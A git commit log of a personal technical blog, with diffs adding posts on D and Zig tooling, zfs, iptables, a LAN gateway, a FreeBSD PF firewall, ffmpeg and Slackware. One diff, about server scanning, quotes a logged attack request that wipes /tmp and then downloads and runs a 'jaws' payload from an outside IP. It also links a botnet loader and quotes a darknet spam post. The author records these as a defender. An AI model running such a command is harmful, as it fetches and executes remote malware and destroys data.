+I tested the D language and zig language recently to check the state of the tooling.
+
+=> https://dlang.org/ D lang home
+
+=> https://ziglang.org/ Zig home
+
+## Dlang
+
+gdc (the gcc D compiler) is in apt, I install it with:
+
+```
+apt-get install gdc
+```
+
+I wrote a D program (example source code from dlang.org):
+
+```
+vi e.d
+void main()
+{
+    import std.exception, std.stdio, std.process;
+
+    auto result = ["whoami"].execute;
+    enforce(result.status == 0);
+    result.output.write;
+}
+```
+
+Then compile the source code with gdc, `-g` is for the debug symbols:
+
+```
+gdc -g e.d -o e
+```
+
+Debug the `e` D program with gdb:
+
+```
+gdb -tui e
+b main
+r
+```
+
+After the `r`(run) command, gdb stopped in a D class calling `main`. `s`(step) ran the main function and I couldn't step in the code above (e.d). Support for debugging in gdb is not 100%.
+
+Code coverage is enabled like this:
+
+```
+gdc -fprofile-arcs -ftest-coverage -g e.d -o e
+./e
+gcov -b e.d
+```
+
+It works fine.
+
+* D is a large language with many features
+* The garbage collector is enabled by default and optionally disabled
+* Borrow checker is optional
+* There is a system for running tests
+* Most of the SEI CERT C rules are fixed but it is optional
+
+The learning curve is not steep, one can be productive in a short time.
+
+## Zig lang
+
+Zig is a C-like language with less footguns than C.
+
+I install zig by downloading a tar file from zig website:
+
+=> https://ziglang.org/download/ Zig download
+
+Extract with:
+
+```
+tar -xf zig-linux-x86_64-0.12.0-dev.1835+697b8f7d2.tar.xz
+```
+
+Add zig directory to $PATH:
+
+```
+export PATH=$PATH:~/zig-linux-x86_64-0.12.0-dev.1835+697b8f7d2
+```
+
+Create a compile zig program (from examples on zig homepage):
+
+```
+vi z.zig
+const std = @import("std");
+
+pub fn main() !void {
+    const stdout = std.io.getStdOut().writer();
+    var i: usize = 1;
+    while (i <= 16) : (i += 1) {
+        if (i % 15 == 0) {
+            try stdout.writeAll("ZiggZagg\n");
+        } else if (i % 3 == 0) {
+            try stdout.writeAll("Zigg\n");
+        } else if (i % 5 == 0) {
+            try stdout.writeAll("Zagg\n");
+        } else {
+            try stdout.print("{d}\n", .{i});
+        }
+    }
+}
+
+zig build-exe z.zig
+```
+
+gdb can't read the debug symbols from zig programs, so zig programs can't be debugged in gdb.
+
+lldb supports zig, so I install it with apt:
+
+```
+apt-get install lldb
+After this operation, 708 MB of additional disk space will be used.
+```
+
+708MB for a debugger, it is a lot.
+
+Debug zig programs with lldb:
+
+```
+# lldb z
+Traceback (most recent call last):
+  File "<string>", line 1, in <module>
+ModuleNotFoundError: No module named 'lldb.embedded_interpreter'
+(lldb) target create "z"
+Current executable set to '/home/me/zig/z' (x86_64).
+(lldb) b main
+Breakpoint 1: where = z`z.main + 12 at z.zig:4:36, address = 0x000000000021d35c
+(lldb) r
+Process 23773 launched: '/home/me/zig/z' (x86_64)
+Process 23773 stopped
+* thread #1, name = 'z', stop reason = breakpoint 1.1
+    frame #0: 0x000000000021d35c z`z.main at z.zig:4:36
+   1    const std = @import("std");
+   2
+   3    pub fn main() !void {
+-> 4        const stdout = std.io.getStdOut().writer();
+   5        var i: usize = 1;
+   6        while (i <= 16) : (i += 1) {
+   7            if (i % 15 == 0) {
+(lldb)
+```
+
+I have been looking for a code coverage tool and I only found hacks. There is no simple way to know if the tests cover enough code or not.
+
+* Zig code is readable
+* Small language, fast to learn
+* Manual memory management
+* There is a system for running tests
+* Not all SEI CERT C rules are fixed, for example use after free type of errors are possible.
+
+=> feed.gmi Feed

commit 310a68fdfe4dce1c48425ff5c12f8ff26147f100
Author: Remy Noulin <loader2x@gmail.com>
Date:   Thu Nov 30 09:51:00 2023 +0200

    Update

diff --git a/2021-06-27-zfs-commands.gmi b/2021-06-27-zfs-commands.gmi
index f2c3149..eb33fb4 100644
--- a/2021-06-27-zfs-commands.gmi
+++ b/2021-06-27-zfs-commands.gmi
@@ -2,7 +2,7 @@
 
 => feed.gmi Feed
 
-date: 2021-06-27 12:21:41
+date: 2023-11-30 09:26:54
 
 categories: linux
 
@@ -344,6 +344,23 @@ zpool create \
     sandisk /dev/disk/by-id/DISK-part1
 ```
 
-hashtags: #zfs
+## Importing a disk
+
+I moved a zfs disk from a computer to second one and I want mount the datasets in it. To do that use `zpool import` to list available disks with their ids and then run `zpool import $diskId` and mount the datasets with the `zfs` command.
+
+```
+zpool import
+   pool: thedisk
+     id: 15071621791720838351
+  state: ONLINE
+ action: The pool can be imported using its name or numeric identifier.
+ config:
+
+        thedisk     ONLINE
+          ada0s1d   ONLINE
+zpool import 15071621791720838351
+```
+
+hashtags: #zfs #linux
 
 => feed.gmi Feed

commit 0bc0c6eae24b382e88ae6f318c2fd7f9df0d493f
Author: Remy Noulin <loader2x@gmail.com>
Date:   Thu Nov 23 11:12:40 2023 +0200

    Update

diff --git a/2023-11-22-using-iptables.gmi b/2023-11-22-using-iptables.gmi
index 6a55779..2686d95 100644
--- a/2023-11-22-using-iptables.gmi
+++ b/2023-11-22-using-iptables.gmi
@@ -128,4 +128,7 @@ iptables -A INPUT -m set ! --match-set nets src -j DROP
 iptables -A INPUT -m set --match-set nets src -j DROP
 ```
 
+Related article from Cheapskate's Guide: 
+=> https://cheapskatesguide.org/articles/building-my-own-firewall-pt2.html Building My Own Firewall/Router, Part 2
+
 => feed.gmi Feed

commit 6ae8b54af22c1dd485b317c83131f1c42dc3b703
Author: Remy Noulin <loader2x@gmail.com>
Date:   Wed Nov 22 21:20:30 2023 +0200

    Update

diff --git a/2023-11-22-using-iptables.gmi b/2023-11-22-using-iptables.gmi
new file mode 100644
index 0000000..6a55779
--- /dev/null
+++ b/2023-11-22-using-iptables.gmi
@@ -0,0 +1,131 @@
+# Using iptables
+
+=> feed.gmi Feed
+
+date: 2023-11-22 20:37:47
+
+categories: linux
+
+firstPublishDate: 2023-11-22 20:37:47
+
+On this page, I list basic iptables and ipset commands. I have been using `iptables` for many years and recently netfilter has replaced iptables in the linux kernel. I use the iptables command for netfilter, I only use ipv4 so for me, it is the same as before.
+
+```
+iptables -V
+iptables v1.8.9 (nf_tables)
+```
+
+## Iptables
+
+List the current rules:
+
+```
+iptables -L --line-numbers
+```
+
+Clear/flush out all the existing rules
+
+```
+iptables -F
+```
+
+Append a rule at the end of the chain:
+
+```
+iptables -A
+```
+
+Append a rule at the start of the chain:
+
+```
+iptables -I
+```
+
+Delete a rule:
+
+```
+iptables -D chain_name rule_number
+iptables -D INPUT 1
+```
+
+## Ipset
+
+List sets:
+
+```
+ipset -L
+```
+
+Delete a set named “myset”:
+
+```
+ipset destroy myset
+or
+ipset -X myset
+```
+
+Delete all sets:
+
+```
+ipset destroy
+```
+
+Delete a member in an ipset
+
+```
+ipset del myset 64.225.75.109
+```
+
+## Rate limiter: Ban ip after N connections per minute
+
+Rate limit connections on port 22 (`-dport 22`) after 3 attempts (`--hitcount 3`) during a period of 1 minute (`--seconds 60`). The ips are blocked for 10 minutes (`timeout 600`).
+
+```
+iptables -N LOG_DROP_TOO_MANY
+iptables -A LOG_DROP_TOO_MANY -m limit --limit 5/m --limit-burst 7 -j LOG --log-prefix "INPUT:DROP TOO MANY: " --log-level 6
+iptables -A LOG_DROP_TOO_MANY -j DROP
+ipset create too_many hash:ip family inet hashsize 32768 maxelem 65536 timeout 600
+iptables -A INPUT -p tcp --dport 22 -m state --state NEW -m recent --set
+iptables -A INPUT -p tcp --dport 22 -m state --state NEW -m recent --update --seconds 60 --hitcount 3 -j SET --add-set too_many src
+iptables -A INPUT -p tcp --dport 22 -m set --match-set too_many src -j LOG_DROP_TOO_MANY
+```
+
+## How to block or only allow a list of networks
+
+Create a file `nets.txt` with the list of networks:
+
+```
+vi nets.txt
+1.0.0.0/8
+2.0.0.0/8
+128.0.0.0/16
+```
+
+Create a script to the networks to a set:
+
+```
+vi add.sh
+ipset create nets hash:net
+while read network ; do
+    ipset add nets $network;
+done < nets.txt
+```
+
+Run the script:
+
+```
+chmod 755 add.sh
+./add.sh
+```
+
+Block or allow the ip in the set:
+
+```
+# Allow ips in the set:
+iptables -A INPUT -m set ! --match-set nets src -j DROP
+# or
+# block ips in the set:
+iptables -A INPUT -m set --match-set nets src -j DROP
+```
+
+=> feed.gmi Feed

commit ddf9db2abc5d8e88837537a79bc1b3d02e3b61d2
Author: Remy Noulin <loader2x@gmail.com>
Date:   Wed Nov 22 20:57:18 2023 +0200

    Update

diff --git a/2023-09-14-using-slackware.gmi b/2023-09-14-using-slackware.gmi
index 99b934e..bd0d15a 100644
--- a/2023-09-14-using-slackware.gmi
+++ b/2023-09-14-using-slackware.gmi
@@ -70,4 +70,6 @@ slackpkg clean-system
 
 When using current branch, sbotools refuses to work because slackware version 15.0+ is unsupported.
 
+Hashtag: #slackware
+
 => feed.gmi Feed
diff --git a/2023-10-19-setting-up-pf-firewall-in-freebsd.gmi b/2023-10-19-setting-up-pf-firewall-in-freebsd.gmi
index 4f85208..b1a38b7 100644
--- a/2023-10-19-setting-up-pf-firewall-in-freebsd.gmi
+++ b/2023-10-19-setting-up-pf-firewall-in-freebsd.gmi
@@ -104,4 +104,6 @@ ipset add blocked 1.0.0.0/8
 
 The command `pfctl -si` shows some statistics and counters.
 
+Hashtags: #freebsd #firewall
+
 => feed.gmi Feed
diff --git a/2023-11-01-connecting-a-lan-to-internet-through-a-gateway.gmi b/2023-11-01-connecting-a-lan-to-internet-through-a-gateway.gmi
index 0b1744e..e5b5857 100644
--- a/2023-11-01-connecting-a-lan-to-internet-through-a-gateway.gmi
+++ b/2023-11-01-connecting-a-lan-to-internet-through-a-gateway.gmi
@@ -162,4 +162,6 @@ Now the devices on the LAN have their network interface automatically configured
 Another article describing the same setup: 
 => https://cheapskatesguide.org/articles/building-my-own-firewall.html Building My Own Firewall/Router, Part 1   11-07-2023
 
+Hashtag #networking
+
 => feed.gmi Feed

commit dd55d01b6e8e1790088c01177b5bdf29ac6b45f9
Author: Remy Noulin <loader2x@gmail.com>
Date:   Wed Nov 8 12:44:58 2023 +0200

    Update

diff --git a/2021-10-02-newsgroups-on-usenet.gmi b/2021-10-02-newsgroups-on-usenet.gmi
index 7c0f568..375d998 100644
--- a/2021-10-02-newsgroups-on-usenet.gmi
+++ b/2021-10-02-newsgroups-on-usenet.gmi
@@ -49,6 +49,8 @@ These NSPs are free and text-only:
 => https://dotsrc.org/usenet/ dotsrc
 * 
 => https://usenet.blueworldhosting.com/ BlueWorld Usenet Farm
+* 
+=> https://i2pn2.org i2pn2.org
 
 # Newsreader software
 
diff --git a/2023-11-01-connecting-a-lan-to-internet-through-a-gateway.gmi b/2023-11-01-connecting-a-lan-to-internet-through-a-gateway.gmi
index dc00268..0b1744e 100644
--- a/2023-11-01-connecting-a-lan-to-internet-through-a-gateway.gmi
+++ b/2023-11-01-connecting-a-lan-to-internet-through-a-gateway.gmi
@@ -159,4 +159,7 @@ rm /var/run/dhcpd.pid
 
 Now the devices on the LAN have their network interface automatically configured by the dhcp server like a regular router.
 
+Another article describing the same setup: 
+=> https://cheapskatesguide.org/articles/building-my-own-firewall.html Building My Own Firewall/Router, Part 1   11-07-2023
+
 => feed.gmi Feed

commit a0122aae475fbc20d989100e3f98cba7d4d908b5
Author: Remy Noulin <loader2x@gmail.com>
Date:   Thu Nov 2 12:14:22 2023 +0200

    Update

diff --git a/2023-11-01-connecting-a-lan-to-internet-through-a-gateway.gmi b/2023-11-01-connecting-a-lan-to-internet-through-a-gateway.gmi
index 73ed06e..dc00268 100644
--- a/2023-11-01-connecting-a-lan-to-internet-through-a-gateway.gmi
+++ b/2023-11-01-connecting-a-lan-to-internet-through-a-gateway.gmi
@@ -119,7 +119,7 @@ cat /etc/resolv.conf
 nameserver 192.168.223.198
 ```
 
-The devices in the LAN use the nameservers 192.168.223.198 and 8.8.8.8 (google, if the first one doesn't work). Install and configure the ISC dhcp server:
+The devices in the LAN use the nameservers 192.168.223.198 and 8.8.8.8 (google, if the first one doesn't work). Install and configure the ISC dhcp server (I used Debian Bullseye for this setup):
 
 ```
 apt-get install isc-dhcp-server

commit 8293cdcde0a01a3aacb9af158e9b0f4189a81899
Author: Remy Noulin <loader2x@gmail.com>
Date:   Wed Nov 1 22:48:44 2023 +0200

    Update

diff --git a/2023-11-01-connecting-a-lan-to-internet-through-a-gateway.gmi b/2023-11-01-connecting-a-lan-to-internet-through-a-gateway.gmi
index d3cb649..73ed06e 100644
--- a/2023-11-01-connecting-a-lan-to-internet-through-a-gateway.gmi
+++ b/2023-11-01-connecting-a-lan-to-internet-through-a-gateway.gmi
@@ -31,7 +31,8 @@ I want to connect the desktop computer to the internet using the laptop as a gat
                             static ip       set by dhcpd
 ```
 
-I created the figure with patate: => gemini://gmi.noulin.net/patate/ Patate ASCII art editor
+I created the figure with patate: 
+=> gemini://gmi.noulin.net/patate/ Patate ASCII art editor
 
 Computer A Laptop (gateway) has 2 network interfaces:
 

commit 0419a19fb9fd3faa1b4ffeab32e257bfb1350c7b
Author: Remy Noulin <loader2x@gmail.com>
Date:   Wed Nov 1 21:24:54 2023 +0200

    Update

diff --git a/2020-07-10-emulators-in-debian-buster.gmi b/2020-07-10-emulators-in-debian-buster.gmi
index 35a4e45..1a3520d 100644
--- a/2020-07-10-emulators-in-debian-buster.gmi
+++ b/2020-07-10-emulators-in-debian-buster.gmi
@@ -190,8 +190,7 @@ To compile the latest version of `mame`, execute these steps:
 
 ```
 git clone https://github.com/mamedev/mame
-apt-get install libsdl2-ttf-dev
-apt-get install qtbase5-dev
+apt-get install libsdl2-ttf-dev qtbase5-dev libfontconfig-dev
 
 ##################
 # Add in makefile:
diff --git a/2023-11-01-connecting-a-lan-to-internet-through-a-gateway.gmi b/2023-11-01-connecting-a-lan-to-internet-through-a-gateway.gmi
new file mode 100644
index 0000000..d3cb649
--- /dev/null
+++ b/2023-11-01-connecting-a-lan-to-internet-through-a-gateway.gmi
@@ -0,0 +1,161 @@
+# Connecting a LAN to internet through a gateway
+
+=> feed.gmi Feed
+
+date: 2023-11-01 21:21:44
+
+categories: linux
+
+firstPublishDate: 2023-11-01 21:21:44
+
+I have a mobile phone, a laptop, a network hub and a desktop computer. I configure the mobile phone as a hot spot and connect the laptop to the hot spot with wifi, the laptop is connected to internet with the mobile phone. With a network cable the laptop is connected to the hub and the desktop computer is also connected to the hub. The laptop has 2 network interfaces and is connected to both internet and the desktop computer.
+
+I want to connect the desktop computer to the internet using the laptop as a gateway.
+
+```
+   ┌╌╌╌╌╌╌╌╌┐
+   ╎Internet╎
+   └╌╌╌┬╌╌╌╌┘
+       ╎
+       ╎
+       ╎
+ ┏━━━━━┿━━━━━━┓    ╭──────────╮             ╭──────────╮
+ ┃Mobile phone┃    │Computer A│             │Computer B│
+ ┗━━━━━┯━━━━━━┛    │Laptop    │             │Desktop   │
+       │           │(Gateway) │dhcp         │          │
+       │           ╰─┬──────┬─╯server       ╰────┬─────╯
+       │             │      │                    │
+       └─────────────┘      └──────────HUB───────┘
+          Wifi wlp7s0b1     Wired enp6s0    Wired eno1
+         192.168.223.129    192.168.0.1     192.168.0.2
+                            static ip       set by dhcpd
+```
+
+I created the figure with patate: => gemini://gmi.noulin.net/patate/ Patate ASCII art editor
+
+Computer A Laptop (gateway) has 2 network interfaces:
+
+* wlp7s0b1 wifi connected to the mobile phone hot spot, the ip 192.168.223.129 is set by the mobile phone
+* enp6s0 wired network connected to the hub and desktop, I set a static ip (192.168.0.1)
+
+Computer B Desktop has 1 wired network interfaces:
+
+* eno1: The ip is set automatically by the dhcp server in the laptop
+
+I choose the network 192.168.0.0/24 for the LAN.
+
+There are 3 steps to configure the laptop to be used as a gateway:
+
+* Set static ip for the enp6s0 interface
+* Setup iptables to forward packets to internet
+* Setup a dhcp server
+
+## Set static ip for the enp6s0 interface
+
+In the laptop, I choose to configure network 192.168.0.0/24 and ip 192.168.0.1, devices connected to the hub will have ips in this network. The ips are distributed automatically by the dhcp server.
+
+```
+vi /etc/network/interfaces
+auto enp6s0
+iface enp6s0 inet static
+address 192.168.0.1
+netmask 255.255.255.0
+network 192.168.0.0
+broadcast 192.168.0.255
+```
+
+Reconfigure the interface:
+
+```
+ifdown enp6s0
+ifup enp6s0
+```
+
+## Setup iptables to forward packets to internet
+
+Configure the linux kernel to allow forwarding packets and make it persistent:
+
+```
+echo 1 > /proc/sys/net/ipv4/ip_forward
+vi /etc/sysctl.conf
+net.ipv4.ip_forward=1
+
+sysctl -p
+#Output
+net.ipv4.ip_forward = 1
+
+#Apply:
+sysctl --system
+```
+
+Setup iptables:
+
+```
+iptables -t nat -A POSTROUTING -o wlp7s0b1 -j MASQUERADE
+iptables -A FORWARD -i enp6s0 -o wlp7s0b1 -j ACCEPT
+iptables -A FORWARD -i wlp7s0b1 -o enp6s0 -m state --state RELATED,ESTABLISHED -j ACCEPT
+```
+
+* `iptables -t nat -A POSTROUTING -o wlp7s0b1 -j MASQUERADE`
+
+This says: on the network address translation table, after we have figured out the routing of a packet on output enp6s0, replace the return address information with our own so the return packets come to us. Also, remember that we did this (like a lookup table that remembers this connection). Connections coming from the LAN (192.168.0.0/24) to the internet are recorded in the gateway (laptop) NAT table.
+
+* `iptables -A FORWARD -i enp6s0 -o wlp7s0b1 -j ACCEPT`
+
+Allow packets that want to come from enp6s0 (the LAN) to go out wlp7s0b1 (the wifi interface connected to internet).
+
+* `iptables -A FORWARD -i wlp7s0b1 -o enp6s0 -m state --state RELATED,ESTABLISHED -j ACCEPT`
+
+Use that lookup table we had from before to see if the packet arriving on the external interface actually belongs to a connection that was already initiated from the internal.
+
+## Setup a dhcp server
+
+I setup a dhcp server in the gateway to automatically configure the network for the devices connected to the LAN. The dhcp server sets up a default nameserver, the default nameserver in the laptop is:
+
+```
+cat /etc/resolv.conf
+# Generated by NetworkManager
+nameserver 192.168.223.198
+```
+
+The devices in the LAN use the nameservers 192.168.223.198 and 8.8.8.8 (google, if the first one doesn't work). Install and configure the ISC dhcp server:
+
+```
+apt-get install isc-dhcp-server
+vi /etc/dhcp/dhcpd.conf
+#Uncomment #authoritative to make it authoritative
+option domain-name-servers 192.168.223.198, 8.8.8.8;
+subnet 192.168.0.0 netmask 255.255.255.0 {
+ range 192.168.0.1 192.168.0.100;
+ option subnet-mask 255.255.255.0;
+ option broadcast-address 192.168.0.255;
+ option routers 192.168.0.1;
+}
+```
+
+Setup the network interface for the dhcp server, I disable ipv6 since it is not used in this setup:
+
+```
+vi /etc/default/isc-dhcp-server
+INTERFACESv4="enp6s0"
+#INTERFACESv6="enp6s0" - comment out to disable ipv6 dhcp server
+```
+
+Start the dhcp server:
+
+```
+/etc/init.d/isc-dhcp-server start
+```
+
+Run these commands to restart the dhcp server:
+
+```
+/etc/init.d/isc-dhcp-server stop
+kill `cat /var/run/dhcpd.pid`
+rm /var/run/dhcpd.pid
+/etc/init.d/isc-dhcp-server start
+```
+
+Now the devices on the LAN have their network interface automatically configured by the dhcp server like a regular router.
+
+=> feed.gmi Feed

commit 08ec4bc502af52cbdbb17b1d3721314d29bb5130
Author: Remy Noulin <loader2x@gmail.com>
Date:   Thu Oct 19 21:57:15 2023 +0200

    Update

diff --git a/2021-08-07-inclusive-language.gmi b/2021-08-07-inclusive-language.gmi
index e0c7f81..d7974ed 100644
--- a/2021-08-07-inclusive-language.gmi
+++ b/2021-08-07-inclusive-language.gmi
@@ -17,6 +17,7 @@ Master/Slave        Primary/Secondary       Context of control
                     Main/Replica            inheritance
                     Active/Standby          Context of state
                     Leader/Follower         Context of control
+                    Manager/Subordinate
 
 Whitelist/Blacklist Allowlist/Blocklist     Context of access, listing values
                                             for which access is allowed/denied
diff --git a/2023-10-19-setting-up-pf-firewall-in-freebsd.gmi b/2023-10-19-setting-up-pf-firewall-in-freebsd.gmi
new file mode 100644
index 0000000..4f85208
--- /dev/null
+++ b/2023-10-19-setting-up-pf-firewall-in-freebsd.gmi
@@ -0,0 +1,107 @@
+# Setting up PF firewall in FreeBSD
+
+=> feed.gmi Feed
+
+date: 2023-10-19 21:52:54
+
+categories: freebsd
+
+firstPublishDate: 2023-10-19 21:52:54
+
+The information about PF in FreeBSD handbook is at chapter 33. 
+=> https://docs.freebsd.org/en/books/handbook/firewalls/ Freebsd Firewalls
+
+The manual has more details about `pfctl` and the configuration file `pf.conf`:
+
+```
+man pfctl
+man pf.conf
+```
+
+## Starting PF
+
+```
+sysrc pf_enable=yes
+sysrc pflog_enable=yes
+service pf start
+service pflog start
+```
+
+`sysrc` configures the system to start pf at boot and `service` starts pf immediately.
+
+```
+pfctl -e                          Enable PF.
+pfctl -F all -f /etc/pf.conf      Flush all NAT, filter, state, and table rules and reload /etc/pf.conf.
+pfctl -vnf /etc/pf.conf           Check /etc/pf.conf for errors, but do not load ruleset.
+```
+
+`pfctl -vnf` doesn't check the table sizes, default table size is 65535 entries.
+
+# Creating rules
+
+In this configuration, pf blocks the nets listed in the `blocked` file, allows connections to the ssh server only from the networks listed in the `allow` file and drops ping. There are too many botnets connecting to the ssh server, so I allow only my machines to connect to it. I don't use ping so I drop it. My machines get 100 pings per second from everywhere on the internet, the botnets are using ping to guess to the geographical location of the machines.
+
+```
+vi /etc/pf.conf
+
+table <allow> persist file "/etc/allow"
+table <blocked> persist file "/etc/blocked"
+
+set skip on lo0
+scrub in
+
+pass out keep state
+
+block quick from <blocked>
+block quick inet proto tcp from ! <allow> to any port ssh
+block quick inet proto icmp all icmp-type 8 code 0
+```
+
+* `set skip on lo0` doesn't apply any rule to the local network interface
+* `scrub in` reassembles the ip fragments
+* `pass out keep state` allows outgoing connections initiated by the host, the iptables equivalent in linux is `iptables -A INPUT -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT`
+* `block quick inet proto icmp all icmp-type 8 code 0` drops pings, iptables equivalent is `iptables -A INPUT -p icmp --icmp-type echo-request -j DROP`
+* `block quick from <blocked>` blocks packets from the networks listed on `blocked`, the iptables equivalent is `iptables -A INPUT -m set --match-set blocked src -j DROP`
+* `table <allow> persist file "/etc/allow"` creates a table called `allow` with the networks listed in `/etc/allow`. `allow` looks like this:
+
+```
+1.2.3.4/8
+45.46.47.48/16
+```
+
+The default table size is 65535, when a table exceeds the maximum size this error happens:
+
+```
+pfctl -f /etc/pf.conf
+/etc/pf.conf:2: cannot define table x: too many elements.
+Consider increasing net.pf.request_maxcount.
+pfctl: Syntax error in config file: pf rules not loaded
+```
+
+To increase the maximum table size, run:
+
+```
+sysctl net.pf.request_maxcount=131071
+```
+
+With ipset in linux, the tables (sets) are created like this:
+
+```
+ipset create blocked hash:net hashsize 262144 maxelem 262144
+```
+
+New networks can be added to tables at any time with:
+
+```
+pfctl -t allow -T add 192.168.1.0/16
+```
+
+With ipset, networks are added with:
+
+```
+ipset add blocked 1.0.0.0/8
+```
+
+The command `pfctl -si` shows some statistics and counters.
+
+=> feed.gmi Feed

commit 651c93fe2cff7ed8f900b20ce5622099ed72bb12
Author: Remy Noulin <loader2x@gmail.com>
Date:   Wed Sep 27 08:21:45 2023 +0200

    Update

diff --git a/2022-05-25-encoding-videos-in-av1-with-ffmpeg.gmi b/2022-05-25-encoding-videos-in-av1-with-ffmpeg.gmi
index 3a25e3b..afd387e 100644
--- a/2022-05-25-encoding-videos-in-av1-with-ffmpeg.gmi
+++ b/2022-05-25-encoding-videos-in-av1-with-ffmpeg.gmi
@@ -259,7 +259,7 @@ in a thinkpad from 2003. To be able to watch videos on this computer, I need to:
 ffmpeg -i IMG_1819.MOV -vf "fps=30,scale=270x480" -c:v mpeg2video -b:v 3000k -c:a libmp3lame IMG_1819.mkv
 ```
 
-The resulting file is 1GB for 1h30 of video with resonable quality.
+The resulting file is 1GB for 1h30 of video with reasonable quality.
 
 hashtags: #ffmpeg #video #encoding
 

commit 5ffb44bc58b2335c0497591213821f9d4ea78039
Author: Remy Noulin <loader2x@gmail.com>
Date:   Wed Sep 27 08:20:47 2023 +0200

    Update

diff --git a/2022-05-25-encoding-videos-in-av1-with-ffmpeg.gmi b/2022-05-25-encoding-videos-in-av1-with-ffmpeg.gmi
index 0b3be09..3a25e3b 100644
--- a/2022-05-25-encoding-videos-in-av1-with-ffmpeg.gmi
+++ b/2022-05-25-encoding-videos-in-av1-with-ffmpeg.gmi
@@ -244,6 +244,23 @@ ffmpeg -i IMG_1819.MOV -vf scale=540:960 -c:v libx264 -b:v 2000k -pass 1 -an -f
 ffmpeg -i IMG_1819.MOV -vf scale=540:960 -c:v libx264 -b:v 2000k -pass 2 -ac 2 -c:a libopus IMG_1819.mkv
 ```
 
+# Encoding in mpeg2 for Intel Pentium M processor 1600MHz
+
+I have a 
+=> https://en.wikipedia.org/wiki/Pentium_M Pentium M
+in a thinkpad from 2003. To be able to watch videos on this computer, I need to:
+
+* scale to 480x270
+* encode in mpeg2
+* change framerate from 60fps to 30fps
+* encode audio in mp3
+
+```
+ffmpeg -i IMG_1819.MOV -vf "fps=30,scale=270x480" -c:v mpeg2video -b:v 3000k -c:a libmp3lame IMG_1819.mkv
+```
+
+The resulting file is 1GB for 1h30 of video with resonable quality.
+
 hashtags: #ffmpeg #video #encoding
 
 => feed.gmi Feed

commit 085c0db81ba34a2e34804e936808fff59751c33a
Author: Remy Noulin <loader2x@gmail.com>
Date:   Thu Sep 14 14:39:57 2023 +0200

    Update

diff --git a/2023-06-24-my-server-is-getting-scanned-all-the-time.gmi b/2023-06-24-my-server-is-getting-scanned-all-the-time.gmi
index edbdb0f..3677867 100644
--- a/2023-06-24-my-server-is-getting-scanned-all-the-time.gmi
+++ b/2023-06-24-my-server-is-getting-scanned-all-the-time.gmi
@@ -173,6 +173,15 @@ Security Operations Center
 DigitalOcean
 ```
 
+In a darknet forurm, I saw this:
+
+```
+alternatives to digital ocean?
+was trying to set up a cpanel and scampage for spamming but digital ocean keeps banning my accounts when i create them and i have a good set up and using my own bank drop cards to open....
+
+1984hosting or buyvm net good alternatives? what difference will i need to do one these sites compared to creating a droplet like on digital ocean to start my cpanel?
+```
+
 AWS, Microsoft and Google also have abuse report pages: [https://aws.amazon.com/forms/report-abuse](AWS abuse) [https://msrc.microsoft.com/report/abuse](Microsoft abuse) [https://support.google.com/code/contact/cloud_platform_report?hl=en](Google abuse)
 
 The web server gets a lot of request like this `/shell?cd+/tmp;rm+-rf+*;wget+45.81.243.34/jaws;sh+/tmp/jaws`, I searched for the program generating these requests and I found a version of the script trying to upload jaws: [https://github.com/R00tS3c/DDOS-RootSec/blob/master/Botnets/Exploits/JAWS/jaws_loader.py](Jaws loader github)
diff --git a/2023-09-14-using-slackware.gmi b/2023-09-14-using-slackware.gmi
new file mode 100644
index 0000000..99b934e
--- /dev/null
+++ b/2023-09-14-using-slackware.gmi
@@ -0,0 +1,73 @@
+# Using slackware
+
+=> feed.gmi Feed
+
+date: 2023-09-14 14:38:31
+
+categories: linux
+
+firstPublishDate: 2023-09-14 14:38:31
+
+I recently started to use 
+=> http://www.slackware.com/ slackware
+for my desktop, I tried it a few time in the past and didn't take the time to create a setup.
+
+The install dvd (
+=> https://mirrors.slackware.com/ mirrors
+) has all the software available in slackware, it can be used offline.
+
+=> https://ftp.acc.umu.se/mirror/slackware.com/slackware-iso/slackware-15.0-iso/slackware-15.0-install-dvd.iso Slackware 15 download
+
+The 
+=> https://slackbuilds.org/ slackbuilds
+site has a lot of additional packages, I found everything I usually install in debian.
+
+In my 
+=> gemini://gmi.noulin.net/gitRepositories/systemSetup/file/slackware/1-system.sh.gmi setup script
+, I install `sbotools` which is the package manager for slackbuilds. The command `sboinstall` installs packages and their dependencies.
+
+The packages are compiled and then installed.
+
+What I like in slackware:
+
+* a full install has a lot of software
+* slackware tools are shell scripts, they have few dependencies
+* the boot manager is lilo
+* the complete distribution is on a single dvd
+
+My install steps are listed in 
+=> gemini://gmi.noulin.net/gitRepositories/systemSetup/file/slackware/install.txt.gmi install.txt
+.
+
+In the normal install, the setup script asks less questions than the debian installer, it doesn't setup the network. When the setup is done, a lot of software is preinstalled in the system and ready to be used. In the minimal install, I deselect about 400 packages.
+
+The packages are less granular than in debian (to get qmake, the qt5 package has to be installed and in the debian there is the qt5-qmake package)
+
+I find the setup of self compiled linux kernels quite straight forward and without issues, lilo is simple to configure: 
+=> gemini://gmi.noulin.net/gitRepositories/systemSetup/file/slackware/kernel.txt.gmi Here the steps for compiling the linux kernel
+
+I upgraded the system to current branch and it crashed:
+
+```
+slackpkg update
+slackpkg install-new
+slackpkg upgrade-all
+```
+
+wget was not working anymore after install-new (a new wget was installed but the new glibc was missing because it was to be upgraded with upgrade-all), I reinstalled and ran update-all first and then install-new.
+
+Upgrade to current 
+=> https://docs.slackware.com/slackware:current
+
+The command order that works is:
+
+```
+slackpkg update
+slackpkg upgrade-all
+slackpkg install-new
+slackpkg clean-system
+```
+
+When using current branch, sbotools refuses to work because slackware version 15.0+ is unsupported.
+
+=> feed.gmi Feed

commit 393cd352fa81120d76b0b26546e87ea0544c13a5
Author: Remy Noulin <loader2x@gmail.com>
Date:   Sat Jun 24 18:08:51 2023 +0200

    Update

diff --git a/2020-07-10-emulators-in-debian-buster.gmi b/2020-07-10-emulators-in-debian-buster.gmi
index 18b2d3a..35a4e45 100644
--- a/2020-07-10-emulators-in-debian-buster.gmi
+++ b/2020-07-10-emulators-in-debian-buster.gmi
@@ -28,6 +28,8 @@ I created a few maps for openra, they are available for download at
 => https://resource.openra.net/maps/49241/ Baltic Sea
 , 
 => https://resource.openra.net/maps/49836/ Turkey
+, 
+=> https://resource.openra.net/maps/52421/ Korea
 .
 
 Only the person creating the network game needs to copy the map file to:
diff --git a/2020-07-28-privacy.gmi b/2020-07-28-privacy.gmi
index 91b1bed..4f3dd6b 100644
--- a/2020-07-28-privacy.gmi
+++ b/2020-07-28-privacy.gmi
@@ -45,6 +45,7 @@ In firefox, I change the default configuration and have a bunch of plugins.
 * about:config **browser.urlbar.suggest.searches** = false
